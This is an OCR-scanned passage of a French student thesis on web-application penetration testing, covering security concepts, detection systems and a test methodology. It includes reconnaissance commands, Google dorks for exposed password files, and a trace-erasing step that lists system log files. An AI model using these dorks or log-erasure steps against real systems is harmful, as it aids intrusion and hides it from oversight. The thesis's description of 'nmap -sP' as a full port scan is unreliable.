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Résumé

Résumé:

Ce travail nous démontre le réle important de la sécurité informatique pour

assurer la confidentialité et la disponibilité et 1’intégrité des applications web en
fonction du test d’intrusion. Ce dernier sert a détecter les failles que nous avons
¢tudiées et les vulnérabilités des applications web et se procéder a I’exploitation de

ces failles pour montrer leurs dangers si le haker les exploite.

Ces failles exigent d’établir un plan de sécurité divisé en deux parties 4 savoir la
sécurit¢ au niveau de code source et la sécurité au niveau du system en y appliquant

le pare feu applicatif (Mode Security) pour parer aux attaques.

Les mots clés: test d’intrusion, vulnérabilité, faille, pare-feu, Mode Security,

hackers, sécurité informatique, applications web ...



Chapitre 01
Introduction



Introduction

Chapitre 1

1. Introduction :

La sécurité informatique « la sécurité des sites web » a connu aujourd'hui une
négligence remarquable dans 1’ensemble des entreprises alors qu’elle devrait étre
une priorité dans n'importe quelle organisation, et a cause de cette négligence, les
pirates informatiques concentrent leurs efforts sur les applications web afin d’obtenir
des informations confidentielles et abuser des données sensibles comme les détails de
clients, les numéros de carte de crédit et autres.

Les applications web réalisent des achats en ligne, ’utilisateur utilise
simplement tous types de contenus dynamiques qui lui permettent d’interagir avec
des données contenues dans une base de données. Sur certaines applications, ces
données peuvent étre personnelles voire sensibles. Si ces applications web ne sont
pas sécurisées, votre base de données entiére court un risque réel.

Comme tous systemes informatiques, une application web doit répondre a trois
caractéristiques :
Confidentialité, Disponibilité, Intégrité.

L’installation d’un pare-feu pour La sécurisation des sites web ne porte aucune
protection contre les attaques web car elles sont lancées sur le port 80 (le port par
défaut pour les sites Internet) qui doit rester ouvert. Pour la stratégie de sécurité la
plus complete, il est donc urgent d'auditer régulierement vos applications web pour
vérifier la présence de vulnérabilités exploitables.
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2. Problématique :

La sécurité des applications Web est critique car celles-ci sont généralement
publiquement accessibles sur Internet, et donc la moindre vulnérabilité a ce niveau
peut étre exploitée par n'importe quel ~acker dans le monde.

Dans le travail qui suit, on a fait 1’étude de différentes vulnérabilités les plus
souvent rencontrées dans les applications Web, on constate que la plupart de ces
vulnérabilités peuvent étre exploitées par simple manipulation d'URL ou injection de
paramétres dans un champ de formulaire pour, par exemple, contourner un
mécanisme d'authentification ou faire exécuter du code malicieux au serveur.

Ces attaques empruntent tout le "canal stir" du port TCP 80 et ne sont par
conséquent pas bloquées par les firewalls IP ou I’'IDS, car Siun pare-feu réseau
contrdle le trafic en fonction de sa provenance ou du port qu'il réclame pour accéder
au serveur, il devient inefficace quand celui-ci doit-étre accessible depuis n'importe
ou, par n'importe qui (sur Internet, par exemple) et a travers un port bien connu- le
port 80 pour un serveur web.

En effet, le trafic doit étre autorisé sans restriction tant qu'il emprunte le bon
port. Dans toutes les attaques, le pare-feu réseau ne verra qu'un trafic 1égitime dirigé
vers un port autorisé (le trafic HTTP et le port 80) Sur un serveur web. Une adresse
URL spécialement modifiée, pourra, par exemple, permettre 1'exploitation
d'une faille dont les conséquences peuvent aller de la simple exploration de
I'arborescence compléte du disque jusqu'a la prise de controle total du systéme.

Donc le filtrage applicatif s'est imposé quand I’antivirus et le pare-feu réseau se
sont montrés incapables de contenir les grandes épidémies des attaques. Et sur ce
nous allons voir les différentes vulnérabilités qui existent.

Les vulnérabilités des applications Web se répartissent en 3 catégories :

1. Vulnérabilités du logiciel serveur Web ou d'application (IIS, Apache,
Tomcat etc...)

2. Vulnérabilités du systéme d'exploitation du serveur (Windows, Linux,
Mac OS, etc...)

3. Vulnérabilités du code de I'application elle-méme (PHP, Perl, Java, etc...)

Les deux premicres catégories de vulnérabilités peuvent étre évitées en utilisant

des produits réputés sir correctement configurés et en appliquant systématiquement
les derniers patchs de sécurité.

13
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Les vulnérabilités propres aux codes sources de l'application sont dues a des
négligences de programmation de la part des développeurs Web, ils ne sont pas
sensibilisés aux impératifs de sécurité et sont pressés par le temps. Les développeurs
ne se rendent pas compte des failles qu'ils peuvent laisser dans leur code, et de graves
vulnérabilités sont découvertes régulierement dans des applications ou sites pourtant
renommes.

Dans le cas de cette application web, les vulnérabilités du code source doivent
étre corrigées avant qu'un hacker ne parvienne a les exploiter. Cependant la
correction des vulnérabilités liées au code source est tres difficile a mettre en place et
ca coute chére surtout si I’application web n’est pas développé en interne de
I’entreprise (acheté par I’entreprise).

Clest a cette troisieme catégorie de vulnérabilités que nous nous intéressons
beaucoup plus dans ce travail.

Voila le schéma qui represente I’architecture de pare-feu

Internet

Figure 01: I’architecteur du pare-feu
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3. Définition du sujet :

Le sujet dont nous nous proposons de faire 1’étude est le test d’intrusion d’une
application web, sur ce, nous allons voir la définition de notre sujet.

Un test d'intrusion (« penetration test» en anglais) est une méthode
d'évaluation de la sécurité informatique (d'un systéme ou d'un réseau informatique).

La méthode consiste généralement a simuler une attaque d'un utilisateur mal
intentionné, conduite par des ethical hackers, habilités et mandatés par ’entreprise.
On analyse alors les risques potentiels dus 4 une mauvaise configuration d'un
systéme, d'un défaut de programmation ou encore d'une vulnérabilité liée a la
solution testée.

Lors d'un test d'intrusion, nous nous retrouvons dans la position de l'attaquant
potentiel. Le principal but de cette manceuvre est de trouver des vulnérabilités
exploitables en vue de proposer un plan d'actions permettant d'améliorer la
sécurité d'un systéme informatique.

Le test d'intrusion est une approche utilisé dans le domaine de la sécurité
informatique qui est un domaine trés large et trés compliqué.

15
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Etat de I'art

Chapitre 2

Etat de ’art sur la sécurité des web

Introduction :

La sécurit¢ informatique est nécessaire pour assurer la transmission des
données pour ne pas les compromettre. En vue du développement d’internet,
plusieurs sites et application web sont confronté a des risques, ce qui nécessite de
prendre soin et de consacrer une grande importance a la sécurité informatique.

16



Etat de l'art

1.Pourquoi s’attaquer a une application web ?

Les failles web permettent des actions de plus en plus importantes de la part
des pirates informatique. Le piratage d’un site Web ne consistait pas a afficher une
simple fenétre sur la page de ’utilisateur ou bien le vol d’un cookie. De nos jours, le
piratage d’une application Web est nettement plus dangereux que cela : modification
complet ou partiel d’un site Internet ou acces aux données sensibles des utilisateurs.
Les raisons de ces actions des pirates informatiques sont principalement motivées
par deux raisons :

La gloire: modification d’un site rentre souvent dans cette catégorie de
piratage. En effet, la modification d’un site sert parfois & marquer son territoire ou
simplement & se faire connaitre par le monde des pirates en modifiant le site cible.

L’argent : Les pirates sont souvent attirés par l'appat du gain qu’il soit direct
ou indirect. Un gain direct est un gain leur revenant personnellement alors qu’un gain
indirect se définirait plus comme étant une perte pour ’entreprise cible. En effet, le
vol d’informations confidentielles comme les numéros de carte bleue par exemple est
un commerce de plus en plus porteur sur le net.

En exemple de gain indirect, en 2006, ChoicePoint a payé 10 millions de
dollars dans les peines civiles et 5 millions dans le dédommagement de
consommateurs apres que 163 000 dossiers financiers personnels de consommateurs
avaient été compromis dans sa base de données. De méme, un pirate informatique a
gagné l'approche a plus de cinq millions de numéros de cartes de crédit en février
2003 grace a une attaque d'application web. II est temps d’inclure les sites web dans
la politique de sécurité des entreprises et ceci de maniére draconien. [Doc 01]
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2.Haker :

Un hacker, c'est une personne qui est dotée d'une connaissance tres développée
au niveau de I’ informatique.

C'est une personne qui cherchera toujours a repoussé les limites du soit disant
"Impossible". Défier les systémes sécurisés, essayer de trouver la faille qui fera de lui
le super-utilisateur d'un systeme distant ou il pourra puiser les informations dont il a
besoin.

Mais un hacker ne détruit pas Il pénétre des systémes sans ne rien détruire. Il
regarde, 1l copie, il imprime, il modifie (les "log" en général) mais il ne détruit rien.

On a distinguent deux types des hackers :

1.1.Les hackers 2 bonnet blanc « white hats »:

Détestent étre comparés a des criminels. IIs exploitent leur connaissance et font
¢a soit pour des bonnes causes, soit pour montrer qu'ils en sont capables. Ne pensent
pas a la destruction des systémes et aident les sites a réparer des systémes et aident
les sites a réparer leurs failles. Bref, Les bons, mais qui ne sont pas pour pourtant pas
dispensés de prison. [Site 01]

1.2.Les hackers 2 bonnet noir « black hats »:

Généralement, ces hackers ne respectent pas la loi, ils pénetrent par effraction
dans les systemes dans un intérét qui n’est pas celui des propriétaires du réseau.
L’intérét y est personnel, généralement financier, en tout cas le but est nuisible a la
personne (physique ou morale) visée.

Ces hackers sont d’ailleurs plus généralement appelés des crackers.

Les crackers ayant une nette attirance pour ce cOté obscur sont par exemple les
créateurs de virus, de chevaux de Troie ou de logiciels espions.

Il n’est pas rare que les black hats changent de bord et se fassent embaucher
par de grandes sociétés. En effet, la connaissance de ces passionnés est telle qu’elle
peut aider une entreprise dont les donnes sont sensibles a mettre en place la sécurité.

Cependant la communauté des black hats est assez large et posséde des
convictions, des opinions et des connaissances bien différentes, qui en séparent les
différents acteurs. [Site 01]
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3.Définition de sécurité informatique :

La sécurité¢ informatique est l'ensemble des techniques qui assurent que les
ressources du systeme d'information (matérielles ou logicielles) d'une organisation
sont utilisées uniquement dans le cadre ou il est prévu qu'elles le soient et permet de
garantir principaux objectifs. [Site 02]

Les cinq principaux objectifs de la sécurité informatique est :

3.1.1”intégrité des données :

Il faut garantir & chaque instant que les données qui circulent sont bien celles
que ’on croit, qu’il n’y a pas eu d’altération (volontaire ou non) au cours de la
communication. L’intégrité¢ des données doit valider I’intégralité des données, leur
précision, I’authenticité et la validité. [Doc 02]

3.2.La confidentialité :
Seules les personnes habilitées doivent avoir accés aux données. Toute
interception ne doit pas étre en mesure d’aboutir, les données doivent étre cryptées,
seuls les acteurs de la transaction possédant la clé de compréhension. [Doc 02]

3.3.La disponibilité :

Il faut s’assurer du bon fonctionnement du systéme, de ’accés a un service et
aux ressources a n’importe quel moment. La disponibilité d’un équipement se
mesure en divisant la durée durant laquelle cet équipement est opérationnel par la
durée durant laquelle il aurait dii étre opérationnel. [Doc 02]

3.4.Le non répudiation des données :

Une transaction ne peut étre niée par aucun des correspondants. Le non
répudiation de I’origine et de la réception des données prouve que les données ont
bien été recues. Cela se fait par le biais de certificats numériques grice a une clé
privée.

3.5.L’authentification :

Elle limite ’accés aux personnes autorisées. Il faut s’assurer de 'identité d’un
utilisateur avant 1’échange de données.
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4.Description :

Les techniques de la sécurité informatique se divisent comme suit
e Analyse de risques
e Politique de sécurité
e Techniques de sécurisation

4.1.Analyse de risques :

Plus aucune entreprise ne peut se passer de l'outil informatique, d'ou la
nécessité d'en assurer la sécurité, et de la protéger contre les risques liés a
l'informatique. Or, comme on ne se protége efficacement que contre les risques qu'on
connait, il importe de mesurer ces risques, en fonction de la probabilité ou de la
fréquence de leur apparition et de leurs effets possibles. Chaque organisation a intérét
a évaluer, méme grossicrement, les risques qu'elle court et les protections
raisonnables a mettre en ceuvre. Les risques et les techniques de sécurisation
Seront €valués en fonction de leurs coits respectifs. [Site 02]

4.2.Politique de sécurité :
A 1a lumiére des résultats de l'analyse de risques, la politique de sécurité est
pour :
e Définir le cadre d'utilisation des ressources du systéme d’information.
 Identifier les techniques de sécurisation a mettre en ceuvre dans les différents
services de 1'organisation.
» Sensibiliser les utilisateurs a la sécurité informatique. [Site 02]

4.3.Techniques de sécurisation :

Elles assurent la disponibilité (les services et les informations doivent étre
accessibles aux personnes autorisées quand elles en ont besoin et dans les délais
requis), l'intégrité (les services et les informations ne peuvent étre modifiés que par
les personnes autorisées), et la confidentialit¢ (l'information est accessible
uniquement a ceux qui y ont droit).

Les techniques De sécurisation d'un systéme incluent :

e Audit de vulnérabilités et test d’intrusion.

e Sécurité des données chiffrement, authentification, controle d'acces.
e Sécurité du réseau pare-feu, IDS, IPS.

e Surveillance des informations de sécurité.

e sensibilisation des utilisateurs.

e Plan de reprise des activités. [Site 02]
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S.Connaitre le systéme d’information pour le protéger :

Le systeme d’information définit I’ensemble des données et des ressources
matérielles et logicielles de I’entreprise. Ce systéme permet de stocker et de faire
circuler les ressources qu’il contient. Il représente également le réseau d’acteurs qui
interviennent dans celui-ci, qui échangent les données, y accédent et les utilisent.

Ce systéme représente la valeur de I’entreprise, il est essentiel de le protéger.
Le compromettre revient a compromettre 1’entreprise.

Il convient donc d’assurer sa sécurité en permanence, et surtout dans des
conditions d’attaque, d’espionnage ou de défaillance. Il faut s’assurer que les
ressources servent uniquement dans le cadre prévu, par les personnes accréditées et
surtout pas dans un autre but.

Le risque encouru par un systéme est lié de maniére étroite a la menace et a la
vulnérabilité qui le touchent, mais également aux contremesures mises en ceuvre.

La menace qui plane sur un systéme englobe les types d’actions menées dans le
but de nuire a ce systéme (attaque, espionnage, vol d’informations...).

La vulnérabilité représente les failles, les bréches dans le systéme, tout ce qui
expose le systtme a la menace : manque de sauvegardes, une architecture
défaillante...

Enfin les contremesures sont les actions mises en ceuvre pour prévenir la
menace, une fois qu’elle est mesurée, ce qui passe d’abord par une prise de
conscience.

La menace qui plane sur un systéme est un fait : plus 1’entreprise possede des
informations importantes, plus elle y sera soumise. Cependant, elle peut directement
impacter le niveau de sécurité de son systeéme en s’efforcant de mettre en place des
contremesures, c’est a dire en s’attachant a la protection de son systéme, qui ne doit
jamais étre négligée. Ce sont en effet, ces contremesures qui vont diviser le risque
d’attaque et la compromission des données.

La sécurité engendre généralement le déploiement de moyens techniques, mais
également et surtout, de solutions de prévention, qui doivent absolument prendre en
compte la formation et la sensibilisation de tous les acteurs du systeme. Des régles et
des bonnes pratiques doivent &tre mises en place pour ne pas créer de bréche
humaine. Ce sont les actifs d’une entreprise qui possédent son capital intellectuel. Ce
capital, forgé par son organisation, son économie ou encore sa valeur, représente un
patrimoine d’informations & protéger. Les actifs d’une entreprise qui possédent son
capital intellectuel. Ce capital, forgé par son organisation, son économie ou encore sa
valeur, représente un patrimoine d’informations a protéger. [Liv 01]
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6.Identifier la menace :

Pour mettre en place une politique de sécurité, il faut d’abord commencer par
identifier la menace, le risque potentiel.

Il faut connaitre son ennemi, ses motivations et prévoir la fagon dont il procede
pour s’en protéger et limiter les risques d’intrusion.

On mesure la sécurité d’un systéme entier & la sécurité du maillon le plus
faible. Ainsi, si tout un systeme est sécurisé techniquement mais que le facteur
humain, souvent mis en cause, est défaillant, c’est toute la sécurité du systéme qui est
remise en cause.

Dans un contexte global, la sécurité doit étre assurée :

e au niveau des utilisateurs, les acteurs doivent comprendre I’importance de
leur position.

e au niveau des technologies utilisées, elles doivent étre slires et ne pas
présenter de failles.

e au niveau des données en elles-mémes, avec une bonne gestion des droits
d’acces (authentification et controle, ’utilisateur doit posséder uniquement
les droits qui lui sont nécessaires).

e au niveau physique (acces a I’infrastructure, au matériel...), rien ne sert de
sécuriser un systeme logiquement si matériellement 1’accés a la salle des
machines n’est pas sécurisé. [Liv 01]

7.Analyse des vulnérabilités :

Identifier et valider seulement les failles de sécurité dans l'infrastructure du
client a l'aide d'outils automatisés et d'une intervention manuelle limitée. Une liste
des vulnérabilités trouvées et des mesures correctives qui leur sont associées est
fournie. L’estimation de 1’é¢tendue des menaces identifiées est laissée au soin du
client. [Doc 03]

8.Qu’est-ce qu’un audit technique de sécurité ?

Les audits techniques décelent les vulnérabilités exploitables par des
utilisateurs Non autorisés et mettent en évidence les failles du processus de sécurité
de L’entreprise. Ils sont conduits par des ethical hackers, habilités et mandatés par
L’entreprise.

Le principe d’un audit technique est donc de vérifier la facilité ou la difficulté
d’un Individu a pénétrer ou a accéder sans autorisation a la structure informationnelle
de votre organisation. [Doc 03]
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9. Test d’intrusion :

Ilustrer efficacement la vulnérabilité des actifs mis en jeu et déterminer
I’étendue et I’impact des vulnérabilités en approfondissant les découvertes faites
pendant la phase d'évaluation. Les vulnérabilités découvertes sont exploitées afin de
gagner des acces privilégiés aux actifs ou pour prendre des « trophées » comme des
noms d'utilisateurs et des mots de passe, ou les données sensibles des usagers comme
preuve d'entrée, en réalisant des simulations d’attaques en utilisant les techniques des
pirates informatiques.

Une exploitation des vulnérabilités consomme plus de temps et d'effort qu'une
évaluation de vulnérabilités. [Doc 03]

10.La différence entre un Test d’intrusion et audit de sécurité :

La différence entre un test d’intrusion et un simple audit de sécurité est la
motivation pour la personne a aller jusqu'a exploiter les failles, montrant ainsi la
vulnérabilité. L'exploitation n'a bien siir pas pour but de détruire ou endommager le
systeme, mais elle permettra de situer le degré du risque lui est associé. C’est 1a le
role du test d’intrusion contrairement a 1’audit qui détecte les anomalies sans aller
plus loin.

11.Pourquoi effectuer un test d’intrusion?

Le test d’intrusion informe votre organisation des vulnérabilités potentielles de
Cette derniere aux attaques et propose des solutions pour y remédier. Le test
d’intrusion vous permettra de répondre, entre autre, aux questions suivantes :

* Nos données confidentielles sont-elles protégées ?

o Est-il possible de bénéficier d'un accés non autoris¢é a nos actifs
Informationnels (site web, réseau corporatif, etc.) ?

* Est-il possible de commander frauduleusement des articles sur notre site?

*  Un client peut-il accéder frauduleusement & un compte d'un autre Client ?

* Peut-on rendre nos sites web ou nos réseaux indisponibles ?

e Un pirate peut-il prendre le contrdle de 1’un de nos actifs ? [Doc 03]
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12.Termes techniques :

12.1.Vulnérabilité ou faille :
C’est une faiblesse dans un systéme informatique, permettant & un attaquant de
porter atteinte a 1'intégrité de ce systéme, c'est-a-dire a son fonctionnement normal, &
la confidentialité et l'intégrité des données qu'il contient.

12.2.Application Web :

En informatique, une application Web est un logiciel applicatif manipulable
grace a un navigateur Web. De la méme maniére que les sites web, une application
Web est généralement placée sur un serveur et se manipule a l'aide d'un navigateur
Web, via un réseau informatique (Internet, intranet, réseau local, etc.).

Les Webmails, les systémes de gestion de contenu, les wikis, les blogs sont des
applications Web.

Les moteurs de recherches, les logiciels de commerce électronique, les jeux en
ligne, les logiciels de forum peuvent étre sous forme d'application Web. [Site 03]

12.3.Site web :

Un site web est composé d'un ensemble de documents structurés, nommés
pages web, stockés (hébergés) sur un ordinateur (serveur) connecté au réseau
mondial (internet).

Une page web contient essentiellement du texte, et est souvent enrichie
d'images, de sons, de vidéos et de liens vers d'autres pages web. [Site 04]

12.4.Serveur web :

Un serveur web est un ordinateur connecté a Internet et sur lequel sont
hébergés des sites web, composés de pages HTML (le serveur web, également appelé
serveur HTTP, peut également étre composé d'un groupe d'ordinateurs). Le logiciel
fédérateur, sur un serveur web, est le serveur HTTP (Apache, le plus fréquemment),
auquel viennent s'adjoindre un interpréteur de langage dynamique (PHP dans la
plupart des cas), un gestionnaire de base de données (tel que MySQL).

La fonction d'un serveur web est de répondre aux requétes des navigateurs
Internet (Internet Explorer, Firefox, Chrome, Opéra, Safari, ...).

Les URL des pages HTML (c'est a dire les adresses saisies dans la barre
d'adresse du navigateur) commencent par hitp://.[Site 05]
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13.Détection d'attaques :

A lorigine, les premiers systémes de détection d'intrusions ont €té initi€s par
I'armée américaine, puis par des entreprises. Plus tard, des projets open-source
ont été lancés et certains furent couronnés de succés, comme par exemple
Snort et Prelude . Parmi les solutions commerciales, on retrouve les produits
des entreprises spécialisées en sécurité informatique telles que Internet
Security Systems, Symantec, Cisco Systems,..[Doc 04]

13.1.Les systémes de détection d'intrusions (IDS) :

Définition : ensemble de composants logiciels et matériels dont la
fonction principale est de détecter et analyser toute tentative d'effraction (volontaire
ou non).

Fonctions :détection des techniques de sondage (balayages de ports), des
tentatives de compromission de systémes, d'activités suspectes internes, des activités
virales ou encore audit des fichiers de journaux (logs).[Doc 04]

13.2.Les systémes de prévention d'intrusions (IPS) : <
Définition : ensemble de composants logiciels et matériels dont la
fonction principale est dempécher toute activité suspecte détectée au sein d'un
systeme.

Contrairement aux IDS simples, les IPS sont des outils aux fonctions « actives
», qui en plus de détecter une intrusion, tentent de la bloquer. Cependant, les
IPS ne sont pas la solution parfaite comme on pourrait le penser. [Doc 04]

13.3.Les firewalls :
Les firewalls ne sont pas des IDS a proprement parler mais ils permettent
¢galement de stopper des attaques. Nous ne pouvions donc pas les ignorer.

Les firewalls sont basés sur des regles statiques afin de contrdler l'acces des
flux. IIs travaillent en général au niveau des couches basses du modeéle OSI
(jusqu'au niveau 4), ce qui est insuffisant pour stopper une intrusion. Par exemple,
lors de l'exploitation d'une faille d'un serveur Web, le flux HTTP sera autorisé par le
firewall puisqu'il n'est pas capable de vérifier ce que contiennent les paquets. [Doc
04]

Il existe trois types de firewalls :

e Les systétmes a filtrage de paquets sans état :
Analyse les paquets les uns aprés les autres, de manicre totalement

indépendante.
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e JLes systtmes a maintien d'état (stateful) :
Vérifient que les paquets appartiennent a une session réguliére. Ce type de

firewall possede une table d'états ou est stocké un suivi de chaque connexion établie,
ce qui permet au firewall de prendre des décisions adaptées a la situation.

Ces firewalls peuvent cependant &tre outrepassés en faisant croire que les
paquets appartiennent & une session déja établie.

e Les firewalls de type proxy :
Le firewall s'intercale dans la session et analyse l'information afin de
vérifier que les échanges protocolaires sont conformes aux normes.

13.4.Les technologies complémentaires
13.4.1. Les scanners de vulnérabilités :
Systemes dont la fonction est d'énumérer les vulnérabilités présentes sur
un systeme. Ces programmes utilisent une base de vulnérabilités connues
(exemple : Nessus).

13.4.2. Les systémes de leurre :
Le but est de ralentir la progression d'un attaquant, en générant des fausses
réponses telle que renvoyer une fausse banniére du serveur Web utilisé.

13.4.3. Les systémes de leurre et d'étude (Honeypots) :

Le pirate est également leurré, mais en plus, toutes ses actions sont
enregistrées. FElles seront ensuite étudiées afin de connaitre les mécanismes
d'intrusion utilisés par le hacker. Il sera ainsi plus facile d'offrir des protections par
la suite.

13.4.4.Les systémes de corrélation et de gestion des intrusions (SIM -
Security Information Manager) :
Centralisent et correlent les informations de sécurité provenant de
plusieurs sources (IDS, firewalls, routeurs, applications, ...). Les alertes sont ainsi
plus faciles a analyser.

13.4.5. Les systémes distribués a tolérance d'intrusion :

L’information sensible est répartie a plusieurs endroits géographiques mais des
copies de fragments sont archivées sur différents sites pour assurer la disponibilité
de l'information. Cependant, si un pirate arrive a s'introduire sur le systéme, il
n'aura qu'une petite partie de 1'information et celle-ci lui sera inutile. [Doc 04]
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Conclusion

Pour conclure et dans cette partie, nous avons démontré 1’importance de la
sécurité d’informatique pour la préservation des données, en outre, on a accompagné
notre travail par le test d’intrusion qui sert a détecter les failles et les sécurisées et

finalement on a parlé de certains system de détection et d’intrusion comme IDS et
IPS.
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| Méthodologie d’'un test d'intrusion

| Chapitre 3

I Méthodologie d’un test d’intrusion

Introduction :

Le Web étant en constante évolution, de plus en plus de sites et d'applications

Web apparaissent chaque jour. De ce fait, ces applications, quand bien méme
’ protégées par une authentification, sont des cibles potentielles pour les pirates. C'est

pourquoi il est indispensable de considérer une sécurité appropriée lorsque vous
’ publiez une application sur la toile. Cette section vous présente différentes attaques et
- outils dont usent les attaquants potentiels pour voler des informations sur les
applications Web, ou encore modifier, voire détruire ces portails et les données qu'ils
contiennent.
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1. Collecte des informations :

Toute attaque nécessite une phase de préparation correspondant a la collecte
des informations. Cette phase, aussi appelée prise d’empreinte (finger printing en
anglais), rassemble I’ensemble des techniques permettant a 1’attaquant de prendre le
maximum d’informations sur sa cible, de la connaitre, afin de mener 1’attaque de
fagon efficace, et d’attaquer les points sensibles par le biais d’outils comme whois,
nikto. Pour cela, certaines sources d’informations sont trés faciles d’acces, et cela
pour tout un chacun. D’autres le sont moins, mais d’une maniére générale beaucoup
plus d’informations de ce que 1’on pense et qui nous concernent sont disponibles de
maniere publique, ou presque publique. Certaines informations sont obligatoirement
accessibles pour le respect des législations ou des besoins administratifs, ou encore
pour une nécessité technique. [Liv 02]

1.1.Les informations nécessaires dans la collecte d’information
e Nom de domaine

Adresse mail, Numéro de téléphone
Adresses IP du systéme accessible
Services TCP et UDP en cours d'exécution
Architecture du systéme
Recensement de systéme (utilisateur, groups, les tables de routage. ..
etc.)

e Protocoles réseau utilisés, etc.
Parmi les outils utilisés dans la phase de collecte d’information, on a :

1.2.La commande whois :

Disponible sur les plates-formes Linux (dans le Gestionnaire de paquets) ou sur
le site www.whois.net, est déja un bon outil de base. Elle cherche dans une base de
données mondiale des noms de domaines, les informations publiques liées au nom de
domaine demandé. Certaines informations peuvent étre cachées par le propriétaire,
s’il le souhaite, mais néanmoins, elles sont assez rarement cachées et il est possible
d’accéder a des informations qui peuvent nous donner une premiére idée de la cible.

Exemple: $ whois univ-blida.dz

Ainsi, avec whois, on peut généralement se renseigner sur le propriétaire du
nom de domaine, de 1’organisme propriétaire du nom de domaine. Parfois, on a
méme acces a ’adresse postale du propriétaire, le contact mail du responsable, le
numéro de téléphone... Bref, des informations qui nous aiguillent sur la cible.

[Liv 02]

1.3.La commande traceroute :
Disponible dans le Gestionnaire de paquets des systemes Linux ou traceret
sous Windows, peut également s’avérer utile, en listant les nceuds intermédiaires
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entre un point de départ et un point d’arrivée, elle nous informe sur le routage des
paquets, et donc nous aide a situer le routeur dans le réseau. [Liv 02]
Exemple: $ traceroute blida.dz
1.4.1.a commande host :
Liste les machines enregistrées dans les DNS de la cible.
Exemple: §$ host blida.dz

1.5.Google hacking:

Est un terme qui fait référence a l'art de créer une requéte de recherche
complexe afin de filtrer a travers de grandes quantités de résultats de recherche des
informations relatives a la sécurité informatique.

Le premier outil indispensable a toute collecte d’informations, est bien siir le
moteur de recherche Google. Google est en possession d’une base de données
immense contenant des informations sur tous les sujets, pratiquement toutes les
personnes. Une simple recherche peut mener trés loin.

1.6.Collaboration entre Google et le pirate :

Dans son format malveillant, il peut étre utilisé pour détecter des sites Web qui
sont vulnérables a de nombreux exploits et des vulnérabilités ainsi que de localiser
des informations sensibles comme les numéros de carte de crédit, numéros de
sécurité sociale, et les mots de passe, etc.

1.7.0Opérateurs avancés :
1.7.1. Opérateur :« site: »
Site: Domain_name
Permet de trouver seulement les pages Web du domaine spécifié. Si nous
recherchons un site spécifique, nous obtenons habituellement la structure Web du
domaine.
Exemple :site:com
site:nom de site.com ou site:www.nom de site.com

1.7.2. Opérateurs : « filetype: »
Filetype : extension_type
Permet de trouver les documents contenant des extensions spécifiques
Exemple : filetype: txt
filetype: log

1.7.3. Opérateurs: « inurl: »

Inurl: search term
Permet de trouver le terme de recherche dans 1’adresse Web d’un document
Allinurl: search_term1 search term?2 search term3
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Permet de trouver de multiples termes de recherche dans 1’adresse Web d’un
document

Exemples : Inurl: bin
Allinurl: bin password
1.7.4. Opérateurs : « intext: »

Intext: search term
Permet de trouver un terme de recherche dans le corps du texte d’un document
Allintext: search _term1 search term?2 search term3
Permet de trouver de multiples termes de recherche dans le corps du texte d’un
document
Exemples : Intext: Administrateur login
Allintext: Administrateur login

1.7.5. Opérateurs : « cache: »
Cache: URL
Permet de trouver I’ancienne version dans la mémoire tampon de Google
Parfois, méme apres la mise a jour d’un site, [’ancienne information peut étre
trouvée dans la mémoire tampon

Exemple : Cache:www. nom de site.com

1.7.6. Opérateurs : « link: »
Link: URL
Permet de trouver des pages Web possédant un lien au URL spécifiée
Exemple: link: www.unsite.com

On peut combiner entre ces opérateurs

e Salary filetype: txt site: nom de site.com
@ Inurl: admin.pwd filetype: pwd
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2. Scan de port et de vulnérabilité :

2.1. Scan de port :

Un scanner de port est capable de déterminer les ports ouverts sur un systéme
en envoyant des requétes successives sur les différents ports et analyse les réponses
afin de déterminer lesquels sont actifs.

En analysant trés finement la structure des paquets TCP/IP regus, les scanners
de sécurité évolués sont parfois capables de déterminer le systéme d'exploitation de
la machine distante ainsi que les services associés aux ports et leurs versions.

Comme il y a beaucoup d'outils de scan de port, on va prendre comme exemple
Nmap.

Exemples : nmap -sP 192.168.0.1

Permet de scanner tous les ports de I’adresse 192.168.0.1.

2.2. Scan de vulnérabilité :
L'objectif de cette phase est de rechercher des vulnérabilités potentielles sur les
machines Identifiées dans le périmétre de la phase 1.

Pour chacune des machines présentes dans la topologie de raccordement a
Internet, le prestataire complete sa recherche par des techniques plus intrusives
qui permettent d'identifier I'ensemble des services actifs sur ces éléments, d'analyser
les configurations des ¢léments, etc.

Le résultat de cette recherche permet de mettre en évidence un certain nombre
de vulnérabilités potentielles qui pourraient exister sur les machines cibles et qui
pourraient étre exploitées pour s'y introduire.

Etape de validation : lorsque le prestataire découvre une vulnérabilité majeure
pouvant porter atteinte a la disponibilité ou a l'intégrité des données de
l'entreprise, nous recommandons qu'il en fasse part a celle-ci, sans un accord
formel avec cette derniere, le prestataire ne doit pas exploiter ce type de
vulnérabilité.

Parmi les outils de scan de vulnérabilité web : acunutux, nikto etc. [Doc 05]
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3. Exploitation :

L'objectif de cette phase est d'exploiter les vulnérabilités identifiées lors de la
phase 2, dans le but de s'introduire sur les machines de l'entreprise a partir de l'accés
Internet.

Cette phase est la plus technique. En effet, le prestataire teste et tente
d'exploiter les vulnérabilités mises en évidence lors de la phase précédente. Dans le
cas d'une intrusion logique sur un serveur, il doit prouver l'intrusion.

Cette phase n'aboutit pas automatiquement a la prise de contrdle total d'un ou
de plusieurs éléments du systéme d'information. En effet, le prestataire peut
simplement obtenir des privileges lui permettant de rebondir et de poursuivre
l'intrusion vers le réseau interne - a condition de ne pas sortir du périmétre défini
contractuellement - en reproduisant le schéma utilisé depuis Internet : processus
d'analyse du nouvel environnement, d'énumération puis d'exploitation des
vulnérabilités, etc. [Doc 05]
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4. Effacer ses traces :

La dernicre étape d’un test d’intrusion est le nettoyage. Tous les fichiers qui
ont €té créés ou modifiés pour I’intrusion doivent étre remis au propre pour effacer
les traces.

Voila quelque fichier de log systeme :

http://www.thegeekstuff.com/2011/08/linux-var-log-files/

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/secure

cat /var/log/syslog
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Conclusion

Pour récapituler ce chapitre, nous avons parlé de la méthodologie du test
d’intrusion qui englobe les collectes d’informations, le scanne des vulnérabilités et
I’exploitation de ces vulnérabilités et comment effacer les traces des fichiers crées et
modifié pour I’intrusion.
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Chapitre 4

Etude des vulnérabilités les plus
connues

Introduction :

Sur un site ou une application web, le haker va exploiter des failles qui
lui permet de devenir 1’administrateur du site ou avoir un accés root sur un system.
